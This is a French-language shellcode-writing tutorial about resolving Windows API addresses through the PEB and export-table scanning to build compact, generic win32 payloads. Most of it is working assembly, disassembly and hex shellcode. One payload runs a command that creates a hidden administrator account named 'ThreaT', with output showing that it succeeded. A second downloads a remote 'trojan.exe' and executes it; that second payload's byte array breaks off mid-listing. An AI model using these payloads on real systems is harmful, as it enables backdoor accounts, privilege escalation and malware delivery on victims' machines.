Tout d'abord, l'exécution de toute fonction nécessite que la portion de code qui
doit être executée soit accessible par le processus qui désire l'utiliser.
Si ce bout de code n'est pas accessible, il faut que le programme map la librairie
qui l'intéresse dans son espace d'adressage, ce qui est précisement le rôle de LoadLibraryA()

Si le code à exécuter est déjà mappé (ou y est grace à LoadLibraryA), il faut que le programme
arrive à retrouver l'adresse de la fonction qui l'intéresse, de façon à pouvoir créer un branchement
vers le code exécutable, ce qui constitue la tache de GetProcAddress()

Une fois en possession de l'adresse de la fonction à executer, et que celle si est accessible,
il peut enfin procéder à son appel par un simple call 0xaddr.

concrètement, un programme qui veut utiliser la fonction ExitWindowsEx() de user32.dll
doit agir de la sorte :

---- Pseudo code -----

.data

TABLE0 db "user32.dll",0	// 11 octets
TABLE1 db "ExitWindows",0	// 12 octets
TABLE2 db "ExitProcess",0	// 12 octets

LoadLibraryA  dd 0x77E7A254	// 4 octets
GetProcAddress dd 0x77E7A254	// 4 octets


.code

mov ebp, esp
sub esp, 4

push offset TABLE0
call LoadLibraryA 	// LoadLibaryA ("user32.dll");

push eax		// eax = HMODULE
push offet TABLE1
call GetProcAddress	// GetProcAddress (HMODULE,"ExitWindows");

push 0
push 0
call eax		// ExitWindows (0,0);

push dword ptr [ebp-4]
push offet TABLE12
call GetProcAddress	// GetProcAddress (HMODULE,"ExitProcess");

push 0
call eax		// ExitProcess (0);

------------------------

Cet exemple montre ou ce trouve le hic.

Pour loader et exécuter une seule fonction, nous avons été obligé de créer une table de 35 octets !

de plus, chaque chaine contenue dans la table doit être termineé d'un zero (null bytes) ce qui est
problématique dans la conception d'un shellcode.

une telle pratique nous force à créer encore une routine permettant de contourner le problème, ce qui
nuit gravement à notre souci d'optimisation.

-------------------------------------------
-> Interresont nous a GetProcAddress() <-
-------------------------------------------

GetProcAddress est la fonction qui demande le plus de ressources vis à vis d'une table de nom, pour
la simple et bonne raison qu'on ne charge qu'une seul fois une dll, mais qu'on doit retrouver plusieurs
adresses d'API.

De plus, cette fonction nécessite un nom complet de la fonction dont on doit retrouver l'adresse, ce
qui voudrait dire que dans le cas ou nous désirerions retrouver 'WSAAsyncGetProtoByNumber',
cela nous boufferait deja 25 octets à notre shellcode !

Une solution plus acceptable consisterait à pouvoir retrouver l'adresse d'une fonction exportée en
ne se basant que sur une petite partie de son nom.

4 octets (un dword) pour pattern me semble être tout à fait jouable.

mais attention, les API windows possèdent beaucoup de fonction qui possèdent des noms similaires.
pour pourvoir les différencier, il nous faut aussi un offset de référence !

reprenons notre exemple :

TABLE1 db "ExitWindows",0	// 12 octets
TABLE2 db "ExitProcess",0	// 12 octets

si je ne me base que sur 4 octets, le seul moyen de faire la différence entre ces 2 API est de spécifier
un dword UNIQUE, ce qui donne théoriquement


---- Pseudo code -----

.data

TABLE0 db "user32.dll",0	// 11 octets

/* TABLE1 et TABLE2 degage, ce qui nous fait gagner 26 octets */

LoadLibraryA  dd 0x77E7A254	// 4 octets

.code
jmp debut

MyGetProcAdress :

[...]

debut :

mov ebp, esp
sub esp, 4

push offset TABLE0
call LoadLibraryA 	// LoadLibaryA ("user32.dll");

push eax		// eax = HMODULE
push 'xitW'
push 1
call MyGetProcAddress	// MyGetProcAddress (ImageBase,1,"xitW")
			// retrouve l'adresse de E'xitW'indows()

push 0
push 0
call eax		// ExitWindows (0,0);

push dword ptr [ebp-4]
push 'xitP'
call MyGetProcAddress	// MyGetProcAddress (ImageBase,1,"xitP");
			// retrouve l'adresse de E'xitP'rocess()

push 0
call eax		// ExitProcess (0);

------------------------

Rassurez vous, il vas être relativement facile d'élaborer une telle fonction.
Il suffit de reprendre le bout de code qui permet de scanner l'export table (generic1.c) et
d'y apporter une toute petite modification

--------------- SNIP ---------------

[... generic1.c ...]

// patch //

search_func:

   mov  esi, dword ptr [edx+4*ebx]
   add  esi, eax                   // esi = names[i]
   add  esi, dword ptr [esp+0x14]  // offsetApi
   mov  esi, dword ptr [esi]       // esi = *(DWORD *) names[i][startoffset];
   cmp  esi, dword ptr [esp+0x18]  // if (*(DWORD *) names[i][startoffset] == pattern)

   je   get_func_address;          // else loop

   dec  ebx                        // j--
   and  ebx, ebx
   jnz  search_func                // if (j != 0)
		                    // # functions[]
pop eax
pop eax
xor eax,eax
ret				// retourne 0 si APINAME introuvable

// End of patch //

--------------- EOF -------------------

Très bien, Nous pouvons dorénavant nous pencher sur le problème lié à LoadLibraryA.

comme vous avez du le remarquer, notre fonction MyGetProcAddress a besoin de l'adresse de base
de la DLL dans laquelle effectuer sa recherche.

pour cela, la fonction LoadLibraryA nous retourne un handle vers cette information, mais
dans le cas ou notre librairie serait déjà chargé par notre processus, la technique du PEB
nous permet de nous baser sur un pattern de UN SEUL BYTE !

-- SNIP --

search_dll_loop:
	mov  esi, dword ptr [eax+0x30]
	cmp byte ptr [esi], 'K'		// K = 'K'ernel32.dll
	jnz  search_dll_next

---------

Notre but est donc de recréer cette fonction de magière générique, de facon a pouvoir spécifier le byte
de référence qui nous permettra de retrouver l'imagebase de n'importe quelle DLL situé dans le PEB.

Ce qui donne :

--------- SNIP ----------

search_dll_loop:
	mov ebx, dword ptr [esp+8]	// ebx = patternDLL
	mov  esi, dword ptr [eax+0x30]  // byte ptr [esi] = 
MODULE_ITEM->FileName.Buffer[0]
	add esi, dword ptr [esp+4]      // offsetDLL
	cmp byte ptr [esi], bl          //
	jnz  search_dll_next            // if (edi != (BYTE)patternDLL) goto 
search_kernel32_next

-------------------------

En fait, nous partons du principe que la dll à rechercher est déjà mappée avec le processus a exploiter,
nous devrons donc utiliser LoadLibraryA si notre shellcode doit travailler avec une DLL non utilisée pour
que celle ci soit référencée dans le PEB.

Certains diront que la chose est donc inutile, mais cela est nécessaire si nous désirons...


///
4.C) LA MISE EN PLACE D'UNE FONCTION ASM EXPORTABLE EST INJECTABLE
///

Le but du jeu est maintenant de packager les connaissances, c'est à dire de créer une fonction
qui pourra être facilement utilisée comme support dans votre conception de shellcode basé sur le PEB.

Si nous récapitulons, concrètement, nous avons besoin de :

- UN BYTE définissant la dll pour laquelle retrouver l'adresse de base
- UN DWORD pointant sur le byte de la dll a rechercher
- UN DWORD définissant un pattern pour l'API dont on doit connaitre l'adresse exportée
- UN DWORD pour l'offset pointant sur le pattern

ok, voici ce que donne le prototype de notre fonction
-
int API_search (DWORD OffsetDll, Byte PatternDLL, DWORD OffsetApi, DWORD patternAPI)
-

place au code

---------------------------------------------------- PEB.asm -----------------------------------------------

API_search :
	push 0x30
	pop ebx				// elimination des /x00
   	mov  eax, fs:[ebx]              // eax = GetCurrentPEB()
	mov  eax, dword ptr [eax+0xC]   // eax = PEB->ProcessModuleInfo
	mov  ecx, dword ptr [eax+0xC]   // ecx = &PEB->ProcessModuleInfo.ModuleListLoadOrder
	mov  eax, ecx                   // eax = &PEB->ProcessModuleInfo.ModuleListLoadOrder.Flink

search_dll_loop:
	mov ebx, dword ptr [esp+8]	// ebx = patternDLL
	mov  esi, dword ptr [eax+0x30]  // byte ptr [esi] = MODULE_ITEM->FileName.Buffer[0]
	add esi, dword ptr [esp+4]      // offsetDLL
	cmp byte ptr [esi], bl          //
	jnz  search_dll_next            // if (edi != (BYTE)patternDLL) goto search_kernel32_next
	//---

	mov  eax, dword ptr [eax+0x18]  // eax = MODULE_ITEM->FileName.ImageBase;
	mov  ebx, dword ptr [eax+0x3c]  // ebx = IMAGE_DOS_HEADER->e_lfanew
	add  ebx, eax                   // ebx = PIMAGE_NT_HEADERS
	mov  ebx, dword ptr [ebx+0x78]  // ebx = IMAGE_NT_HEADERS->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]->VirtualAddress
	add  ebx, eax                   // ebx = PIMAGE_EXPORT_DIRECTORY
	mov  esi, dword ptr [ebx+0x1C]
	add  esi, eax                   // esi = base + expdir->AddressOfFunctions
	push esi                        // # functions[]
   	mov  esi, dword ptr [ebx+0x24]
	add  esi, eax                   // esi = base + PIMAGE_EXPORT_DIRECTORY->AddressOfNameOrdinals
	push esi                        // # functions[] # ordinals[]
	mov  edx, dword ptr [ebx+0x20]
	add  edx, eax                   // edx = base + expdir->AddressOfNames
	mov  ebx, dword ptr [ebx+0x18]  // i = PIMAGE_EXPORT_DIRECTORY->NumberOfNames
	dec  ebx                        // i--

search_func:

   mov  esi, dword ptr [edx+4*ebx]
   add  esi, eax                   // esi = names[i]
   add  esi, dword ptr [esp+0x14]  // offsetApi
   mov  esi, dword ptr [esi]       // esi = *(DWORD *) names[i][startoffset];
   cmp  esi, dword ptr [esp+0x18]  // if (*(DWORD *) names[i][startoffset] == pattern)

   je   get_func_address;          // if (memcmp(names[i], apiname, 12) == 0)

   dec  ebx                        // j--
   and  ebx, ebx
   jnz  search_func                // if (j != 0)
		                   // # functions[]
pop eax
pop eax
xor eax,eax
ret				// retourne 0 si APINAME introuvable

get_func_address:
	pop  edi                        // edi = ordinals[]
                                   	// # functions[]
	xor  ecx, ecx
	mov  cx,  word ptr [edi+2*ebx]  // bx = ordinals[i]
	pop  edi                        // edi = functions[]
	                                // #
	mov  edi, dword ptr [edi+4*ecx] // edi = functions[ordinals[i]]
	lea eax, [edi+eax]
ret

search_dll_next:
	mov  ebx, dword ptr [eax]     // elimination des /x00
	mov eax, ebx			// eax = PMODULE_ITEM
	cmp  eax, ecx
	jnz  search_dll_loop // while (eax == &PEB->ProcessModuleInfo.ModuleListLoadOrder)
ret

---------------------------------------------------- EOF --------------------------------------------------------------


Voila, pour utiliser la fonction, voici deux exemples concrets de shellcodes qui vaudront surement mieux
qu'un long discours



/*************************************************************************************
V. QUELQUES SHELCODES GENERQUES, BASES SUR LA FONCTION MAGIQUE
*************************************************************************************/


///
5.1) SHELLCODE GENERIQUE D'EXECUTION DE COMMANDE. (150 bytes)
///


=============================================== EXEC.C ==================================================

/*
* Exec win23 shellcode
* By ThreaT.
*
* Exécute la ligne de commande indiquée en fin de shellcode
*
* Win2K all service pack, 150 bytes injectable, huhu :)))
*/


/** snip code **

===============================
====== EL8 source code ========
===============================

#include 

void main ()
{
__asm 	{

int 3
jmp offset1

API_search :
	push 0x30
	pop ebx				// elimination des /x00
   	mov  eax, fs:[ebx]              // eax = GetCurrentPEB()
	mov  eax, dword ptr [eax+0xC]   // eax = PEB->ProcessModuleInfo
	mov  ecx, dword ptr [eax+0xC]   // ecx = &PEB->ProcessModuleInfo.ModuleListLoadOrder
	mov  eax, ecx                   // eax = &PEB->ProcessModuleInfo.ModuleListLoadOrder.Flink	}

search_dll_loop:
	mov  esi, dword ptr [eax+0x30]  // byte ptr [esi] = MODULE_ITEM->FileName.Buffer[0]
	cmp byte ptr [esi], 'K'
	jnz  search_dll_next            // if (edi != 'K') goto search_kernel32_next
//---

	mov  eax, dword ptr [eax+0x18]  // eax = MODULE_ITEM->FileName.ImageBase;
	mov  ebx, dword ptr [eax+0x3c]  // ebx = IMAGE_DOS_HEADER->e_lfanew
	add  ebx, eax                   // ebx = PIMAGE_NT_HEADERS
	mov  ebx, dword ptr [ebx+0x78]  // ebx = PIMAGE_NT_HEADERS->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]->VirtualAddress
	add  ebx, eax                   // ebx = PIMAGE_EXPORT_DIRECTORY
	mov  esi, dword ptr [ebx+0x1C]
	add  esi, eax                   // esi = base + expdir->AddressOfFunctions
	push esi                        // # functions[]
   	mov  esi, dword ptr [ebx+0x24]
	add  esi, eax                   // esi = base + PIMAGE_EXPORT_DIRECTORY->AddressOfNameOrdinals
	push esi                        // # functions[] # ordinals[]
	mov  edx, dword ptr [ebx+0x20]
	add  edx, eax                   // edx = base + expdir->AddressOfNames
	mov  ebx, dword ptr [ebx+0x18]  // i = PIMAGE_EXPORT_DIRECTORY->NumberOfNames
	dec  ebx                        // i--

search_func:

   mov  esi, dword ptr [edx+4*ebx]
   add  esi, eax                   // esi = names[i]
   add  esi, dword ptr [esp+10h]
   mov  esi, dword ptr [esi]       // esi = *(DWORD *) names[i][startoffset];
   cmp  esi, dword ptr [esp+0xC]  // if (*(DWORD *) names[i][startoffset] == pattern)

   je   get_func_address;          // if (memcmp(names[i], apiname, 12) == 0)

   dec  ebx                        // j--
   and  ebx, ebx
   jnz  search_func                // if (j != 0)
		                   // # functions[]
pop eax
pop eax
xor eax,eax
ret				// retourne 0 si APINAME introuvable

get_func_address:
	pop  edi                        // edi = ordinals[]
                                   // # functions[]
	xor  ecx, ecx
	mov  cx,  word ptr [edi+2*ebx]  // bx = ordinals[i]
	pop  edi                        // edi = functions[]
	                                // #
	mov  edi, dword ptr [edi+4*ecx] // edi = functions[ordinals[i]]
	lea eax, [edi+eax]
ret



//---

search_dll_next:
	mov  ebx, dword ptr [eax]     // elimination des /x00
	mov eax, ebx			// eax = PMODULE_ITEM
	cmp  eax, ecx
	jnz  search_dll_loop // while (eax == &PEB->ProcessModuleInfo.ModuleListLoadOrder)
ret

offset1 : jmp startup
start :
push 1
push 'xEni'
call API_search  //retrouve l'adresse de WinExec.

push 1
push dword ptr [esp+0xc]
call eax	//WinExec (command,SW_SHOW)

push 1
push 'Ptix'
call API_search
call eax 	// ExitProcess (0)

startup :
call start
// "cmd"
}

}

===============================
======== Disassemble ==========
===============================

:00401007 EB6B                    jmp 00401074

* Referenced by a CALL at Addresses:
|:0040107D   , :00401091
|
:00401009 6A30                    push 00000030
:0040100B 5B                      pop ebx
:0040100C 648B03                  mov eax, dword ptr fs:[ebx]
:0040100F 8B400C                  mov eax, dword ptr [eax+0C]
:00401012 8B480C                  mov ecx, dword ptr [eax+0C]
:00401015 8BC1                    mov eax, ecx

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00401071(C)
|
:00401017 8B7030                  mov esi, dword ptr [eax+30]
:0040101A 803E4B                  cmp byte ptr [esi], 4B
:0040101D 754C                    jne 0040106B
:0040101F 8B4018                  mov eax, dword ptr [eax+18]
:00401022 8B583C                  mov ebx, dword ptr [eax+3C]
:00401025 03D8                    add ebx, eax
:00401027 8B5B78                  mov ebx, dword ptr [ebx+78]
:0040102A 03D8                    add ebx, eax
:0040102C 8B731C                  mov esi, dword ptr [ebx+1C]
:0040102F 03F0                    add esi, eax
:00401031 56                      push esi
:00401032 8B7324                  mov esi, dword ptr [ebx+24]
:00401035 03F0                    add esi, eax
:00401037 56                      push esi
:00401038 8B5320                  mov edx, dword ptr [ebx+20]
:0040103B 03D0                    add edx, eax
:0040103D 8B5B18                  mov ebx, dword ptr [ebx+18]
:00401040 4B                      dec ebx

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00401055(C)
|
:00401041 8B349A                  mov esi, dword ptr [edx+4*ebx]
:00401044 03F0                    add esi, eax
:00401046 03742410                add esi, dword ptr [esp+10]
:0040104A 8B36                    mov esi, dword ptr [esi]
:0040104C 3B74240C                cmp esi, dword ptr [esp+0C]
:00401050 740A                    je 0040105C
:00401052 4B                      dec ebx
:00401053 23DB                    and ebx, ebx
:00401055 75EA                    jne 00401041
:00401057 58                      pop eax
:00401058 58                      pop eax
:00401059 33C0                    xor eax, eax
:0040105B C3                      ret



* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00401050(C)
|
:0040105C 5F                      pop edi
:0040105D 33C9                    xor ecx, ecx
:0040105F 668B0C5F                mov cx, word ptr [edi+2*ebx]
:00401063 5F                      pop edi
:00401064 8B3C8F                  mov edi, dword ptr [edi+4*ecx]
:00401067 8D0407                  lea eax, dword ptr [edi+eax]
:0040106A C3                      ret



* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040101D(C)
|
:0040106B 8B18                    mov ebx, dword ptr [eax]
:0040106D 8BC3                    mov eax, ebx
:0040106F 3BC1                    cmp eax, ecx
:00401071 75A4                    jne 00401017
:00401073 C3                      ret



* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00401007(U)
|
:00401074 EB22                    jmp 00401098

* Referenced by a CALL at Address:
|:00401098
|
:00401076 6A01                    push 00000001
:00401078 68696E4578              push 78456E69
:0040107D E887FFFFFF              call 00401009
:00401082 6A01                    push 00000001
:00401084 FF74240C                push [esp+0C]
:00401088 FFD0                    call eax
:0040108A 6A01                    push 00000001
:0040108C 6878697450              push 50746978
:00401091 E873FFFFFF              call 00401009
:00401096 FFD0                    call eax

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00401074(U)
|
:00401098 E8D9FFFFFF              call 00401076

** end **/


int main ()
{

// Generated by Hex Workshop
// essai4.exe - Starting Offset: 4103 (0x00001007) Length: 150 (0x00000096)

unsigned char rawData[] = {
	"/xEB/x6B/x6A/x30/x5B/x64/x8B/x03/x8B/x40/x0C/x8B/x48/x0C/x8B/xC1"
	"/x8B/x70/x30/x80/x3E/x4B/x75/x4C/x8B/x40/x18/x8B/x58/x3C/x03/xD8"
	"/x8B/x5B/x78/x03/xD8/x8B/x73/x1C/x03/xF0/x56/x8B/x73/x24/x03/xF0"
	"/x56/x8B/x53/x20/x03/xD0/x8B/x5B/x18/x4B/x8B/x34/x9A/x03/xF0/x03"
	"/x74/x24/x10/x8B/x36/x3B/x74/x24/x0C/x74/x0A/x4B/x23/xDB/x75/xEA"
	"/x58/x58/x33/xC0/xC3/x5F/x33/xC9/x66/x8B/x0C/x5F/x5F/x8B/x3C/x8F"
	"/x8D/x04/x07/xC3/x8B/x18/x8B/xC3/x3B/xC1/x75/xA4/xC3/xEB/x22/x6A"
	"/x01/x68/x69/x6E/x45/x78/xE8/x87/xFF/xFF/xFF/x6A/x01/xFF/x74/x24"
	"/x0C/xFF/xD0/x6A/x01/x68/x78/x69/x74/x50/xE8/x73/xFF/xFF/xFF/xFF"
	"/xD0/xE8/xD9/xFF/xFF/xFF"

	// commande à executer
	"cmd /c @net user ThreaT /add && net localgroup administrateurs ThreaT /add"
	} ;

void (*shellcode) () = ( void* ) rawData;

shellcode ();

return 0;
}

/*

E:/code/SP>cl exec.c
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 12.00.8168 for 80x86
Copyright (C) Microsoft Corp 1984-1998. All rights reserved.

exec.c
Microsoft (R) Incremental Linker Version 6.00.8168
Copyright (C) Microsoft Corp 1992-1998. All rights reserved.

/out:exec.exe
exec.obj

E:/code/SP>exec

E:/code/SP>La commande s'est terminée correctement.

La commande s'est terminée correctement.


E:/code/SP>net user

comptes d'utilisateurs de //M1

-------------------------------------------------------------------------------
Administrateur           Invité                   IUSR_AZERTY
IWAM_AZERTY              ThreaT                   TsInternetUser
La commande s'est terminée correctement.


E:/code/SP>net user ThreaT
Nom d'utilisateur                              ThreaT
Nom complet
Commentaire
Commentaires utilisateur
Code du pays                                   000 (Valeur par défaut du 
système
)
Compte : actif                                 Oui
Le compte expire                               Jamais

Mot de passe : dernier changmt.                2/11/2003 9:39 PM
Le mot de passe expire                         3/26/2003 8:27 PM
Le mot de passe modifiable                     2/11/2003 9:39 PM
Mot de passe exigé                             Oui
L'utilisateur peut changer de mot de passe     Oui

Stations autorisées                            Tout
Script d'ouverture de session
Profil d'utilisateur
Répertoire de base
Dernier accès                                  Jamais

Heures d'accès autorisé                        Tout

Appartient aux groupes locaux                  *Administrateurs
                                               *Utilisateurs
Appartient aux groupes globaux                 *Aucun
La commande s'est terminée correctement.


E:/code/SP>

*/

=================================================== EOF ================================================



///
5.2) SHELLCODE GENERIQUE DOWNLOAD & EXECUTE FROM URL (247 bytes)
///


================================================ DLEXEC.c =============================================

/* Download & execute Real generic win32 Shellcode.
*
* By ThreaT.
*
*
* =================================================================
	Ce shellcode download un fichier pointé par l'URL indiquée,
	et l'exécute sur la machine cible
* =================================================================
*
* Shellcode Generique pour win2k, testé sur SP0, SP2 et SP3
*
* - Auncune adresse hardcodé !
* - 247 bytes injectables (sans l'URL)
*
* -> [email protected]
*
*/


/* snip code *

===============================
====== EL8 source code ========
===============================

#include 

void main ()
{

__asm 	{
jmp offset1

//API_search (DWORD OffsetDll, Byte PatternDLL, DWORD OffsetApi, DWORD 
patternAPI)

API_search :
	push 0x30
	pop ebx				  // elimination des /x00
   	mov  eax, fs:[ebx]              // eax = GetCurrentPEB()
	mov  eax, dword ptr [eax+0xC]   // eax = PEB->ProcessModuleInfo
	mov  ecx, dword ptr [eax+0xC]   // ecx = &PEB->ProcessModuleInfo.ModuleListLoadOrder
	mov  eax, ecx                   // eax = &PEB->ProcessModuleInfo.ModuleListLoadOrder.Flink	}

search_dll_loop:
	mov ebx, dword ptr [esp+8]	  // ebx = patternDLL
	mov  esi, dword ptr [eax+0x30]  // byte ptr [esi] = MODULE_ITEM->FileName.Buffer[0]
	add esi, dword ptr [esp+4]      // offsetDLL
	cmp byte ptr [esi], bl          //
	jnz  search_dll_next            // if (edi != (BYTE)patternDLL) goto search_kernel32_next
	//---

	mov  eax, dword ptr [eax+0x18]  // eax = MODULE_ITEM->FileName.ImageBase;
	mov  ebx, dword ptr [eax+0x3c]  // ebx = IMAGE_DOS_HEADER->e_lfanew
	add  ebx, eax                   // ebx = PIMAGE_NT_HEADERS
	mov  ebx, dword ptr [ebx+0x78]  // ebx = PIMAGE_NT_HEADERS->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]->VirtualAddress
	add  ebx, eax                   // ebx = PIMAGE_EXPORT_DIRECTORY
	mov  esi, dword ptr [ebx+0x1C]
	add  esi, eax                   // esi = base + expdir->AddressOfFunctions
	push esi                        // # functions[]
   	mov  esi, dword ptr [ebx+0x24]
	add  esi, eax                   // esi = base + PIMAGE_EXPORT_DIRECTORY->AddressOfNameOrdinals
	push esi                        // # functions[] # ordinals[]
	mov  edx, dword ptr [ebx+0x20]
	add  edx, eax                   // edx = base + expdir->AddressOfNames
	mov  ebx, dword ptr [ebx+0x18]  // i = PIMAGE_EXPORT_DIRECTORY->NumberOfNames
	dec  ebx                        // i--

search_func:

   mov  esi, dword ptr [edx+4*ebx]
   add  esi, eax                   // esi = names[i]
   add  esi, dword ptr [esp+0x14]  // offsetApi
   mov  esi, dword ptr [esi]       // esi = *(DWORD *) names[i][startoffset];
   cmp  esi, dword ptr [esp+0x18]  // if (*(DWORD *) names[i][startoffset] == pattern)

   je   get_func_address;          // if (memcmp(names[i], apiname, 12) == 0)

   dec  ebx                        // j--
   and  ebx, ebx
   jnz  search_func                // if (j != 0)
		                    // # functions[]
pop eax
pop eax
xor eax,eax
ret				// retourne 0 si APINAME introuvable

get_func_address:
	pop  edi                        // edi = ordinals[]
                                   // # functions[]
	xor  ecx, ecx
	mov  cx,  word ptr [edi+2*ebx]  // bx = ordinals[i]
	pop  edi                        // edi = functions[]
	                                // #
	mov  edi, dword ptr [edi+4*ecx] // edi = functions[ordinals[i]]
	lea eax, [edi+eax]
ret

search_dll_next:
	mov  ebx, dword ptr [eax]     // elimination des /x00
	mov eax, ebx			// eax = PMODULE_ITEM
	cmp  eax, ecx
	jnz  search_dll_loop // while (eax == &PEB->ProcessModuleInfo.ModuleListLoadOrder)
ret

offset1 : jmp startup
start :

xor ebx,ebx
push 'AxEy'
push 10
push 'K'
push ebx
call API_search   // Recherche l'adresse exportée de Kernel32!LoadLibraryA
			// API_search (0, 'K', 10, 'yExa')

xor ecx, ecx
push ecx
push 'mlru'
mov word ptr [esp+4], 'no'
mov ebp,esp		// cree un stack avec "urlmon"
push ecx
push ecx
push ebp
call eax	// LoadLibraryExA ("urlmon",0,0)

push 'Aeli'
push 14
push 'r'
push 2
call API_search   // retrouve l'adresse exportée de 
URLMON!URLDownloadToFileA
			// API_search (2,'r',14, "ileA")

xor ebx, ebx
push ebx
push 'xe.a'
mov byte ptr [esp+4], 'e'
mov ecx, esp	//cree un stack avec "a.exe"

push ebx
push ebx
push ecx    	// (char*)file
push dword ptr [ebp+0x18]  // URL du fichier a download = pointeur sur fin 
de shellcode
push ebx
call eax    	// download it ! !
			// URLMON!URLDownloadToFileA (NULL,(char*)myurl, "a.exe",NULL,NULL)

xor ebx, ebx
push 'xEni'
push 1
push 'K'
push ebx
call API_search   //retrouve l'adresse exportée de Kernel32!WinExec
			// API_search (0,'K',1, "inEx")

lea ecx, [esp+0x10] // ecx = (char*)file // "a.exe"

push 1	// SW_SHOW (SW_HIDE = 0)
push ecx
call eax    // execute le fichier downloadé precedement
		// WinExec ("a.exe",SW_SHOW)

xor ebx, ebx
push 'Ptix'
push 1
push 'K'
push ebx
call API_search	// retrouve l'adresse exportée de Kernel32!ExitProcess
			// API_search (0,'K',1,"xitP")

call eax 		// ExitProcess (0)
			// terminus, tout le monde descend !



startup :
call start	// ce call sert a pointer sur le main() en pushant sur le stack
		// l'adresse de notre URL
		// --> "http://www.chez.com/mvm/trojan.exe"
}

}



===============================
===============================
====== Disassembled data ======
===============================
===============================

:00401006 EB72                    jmp 0040107A

* Referenced by a CALL at Addresses:
|:00401088   , :004010AE   , :004010D7   , :004010F1
|
:00401008 6A30                    push 00000030
:0040100A 5B                      pop ebx
:0040100B 648B03                  mov eax, dword ptr fs:[ebx]
:0040100E 8B400C                  mov eax, dword ptr [eax+0C]
:00401011 8B480C                  mov ecx, dword ptr [eax+0C]
:00401014 8BC1                    mov eax, ecx

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00401077(C)
|
:00401016 8B5C2408                mov ebx, dword ptr [esp+08]
:0040101A 8B7030                  mov esi, dword ptr [eax+30]
:0040101D 03742404                add esi, dword ptr [esp+04]
:00401021 381E                    cmp byte ptr [esi], bl
:00401023 754C                    jne 00401071
:00401025 8B4018                  mov eax, dword ptr [eax+18]
:00401028 8B583C                  mov ebx, dword ptr [eax+3C]
:0040102B 03D8                    add ebx, eax
:0040102D 8B5B78                  mov ebx, dword ptr [ebx+78]
:00401030 03D8                    add ebx, eax
:00401032 8B731C                  mov esi, dword ptr [ebx+1C]
:00401035 03F0                    add esi, eax
:00401037 56                      push esi
:00401038 8B7324                  mov esi, dword ptr [ebx+24]
:0040103B 03F0                    add esi, eax
:0040103D 56                      push esi
:0040103E 8B5320                  mov edx, dword ptr [ebx+20]
:00401041 03D0                    add edx, eax
:00401043 8B5B18                  mov ebx, dword ptr [ebx+18]
:00401046 4B                      dec ebx

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040105B(C)
|
:00401047 8B349A                  mov esi, dword ptr [edx+4*ebx]
:0040104A 03F0                    add esi, eax
:0040104C 03742414                add esi, dword ptr [esp+14]
:00401050 8B36                    mov esi, dword ptr [esi]
:00401052 3B742418                cmp esi, dword ptr [esp+18]
:00401056 740A                    je 00401062
:00401058 4B                      dec ebx
:00401059 23DB                    and ebx, ebx
:0040105B 75EA                    jne 00401047
:0040105D 58                      pop eax
:0040105E 58                      pop eax
:0040105F 33C0                    xor eax, eax
:00401061 C3                      ret



* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00401056(C)
|
:00401062 5F                      pop edi
:00401063 33C9                    xor ecx, ecx
:00401065 668B0C5F                mov cx, word ptr [edi+2*ebx]
:00401069 5F                      pop edi
:0040106A 8B3C8F                  mov edi, dword ptr [edi+4*ecx]
:0040106D 8D0407                  lea eax, dword ptr [edi+eax]
:00401070 C3                      ret



* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00401023(C)
|
:00401071 8B18                    mov ebx, dword ptr [eax]
:00401073 8BC3                    mov eax, ebx
:00401075 3BC1                    cmp eax, ecx
:00401077 759D                    jne 00401016
:00401079 C3                      ret



* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00401006(U)
|
:0040107A EB7C                    jmp 004010F8

* Referenced by a CALL at Address:
|:004010F8
|
:0040107C 33DB                    xor ebx, ebx
:0040107E 6879457841              push 41784579
:00401083 6A0A                    push 0000000A
:00401085 6A4B                    push 0000004B
:00401087 53                      push ebx
:00401088 E87BFFFFFF              call 00401008
:0040108D 33C9                    xor ecx, ecx
:0040108F 51                      push ecx
:00401090 6875726C6D              push 6D6C7275
:00401095 66C74424046F6E          mov [esp+04], 6E6F
:0040109C 8BEC                    mov ebp, esp
:0040109E 51                      push ecx
:0040109F 51                      push ecx
:004010A0 55                      push ebp
:004010A1 FFD0                    call eax
:004010A3 68696C6541              push 41656C69
:004010A8 6A0E                    push 0000000E
:004010AA 6A72                    push 00000072
:004010AC 6A02                    push 00000002
:004010AE E855FFFFFF              call 00401008
:004010B3 33DB                    xor ebx, ebx
:004010B5 53                      push ebx
:004010B6 68612E6578              push 78652E61
:004010BB C644240465              mov [esp+04], 65
:004010C0 8BCC                    mov ecx, esp
:004010C2 53                      push ebx
:004010C3 53                      push ebx
:004010C4 51                      push ecx
:004010C5 FF7518                  push [ebp+18]
:004010C8 53                      push ebx
:004010C9 FFD0                    call eax
:004010CB 33DB                    xor ebx, ebx
:004010CD 68696E4578              push 78456E69
:004010D2 6A01                    push 00000001
:004010D4 6A4B                    push 0000004B
:004010D6 53                      push ebx
:004010D7 E82CFFFFFF              call 00401008
:004010DC 8D4C2410                lea ecx, dword ptr [esp+10]
:004010E0 6A01                    push 00000001
:004010E2 51                      push ecx
:004010E3 FFD0                    call eax
:004010E5 33DB                    xor ebx, ebx
:004010E7 6878697450              push 50746978
:004010EC 6A01                    push 00000001
:004010EE 6A4B                    push 0000004B
:004010F0 53                      push ebx
:004010F1 E812FFFFFF              call 00401008
:004010F6 FFD0                    call eax

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040107A(U)
|
:004010F8 E87FFFFFFF              call 0040107C

===============================
===============================
===============================

** end */

int main ()
{


// Generated by Hex Workshop
// essai5.exe - Starting Offset: 4102 (0x00001006) Length: 247 (0x000000F7)

unsigned char rawData[] = {
	"/xEB/x72/x6A/x30/x5B/x64/x8B/x03/x8B/x40/x0C/x8B/x48/x0C/x8B/xC1"
	"/x8B/x5C/x24/x08/x8B/x70/x30/x03/x74/x24/x04/x38/x1E/x75/x4C/x8B"
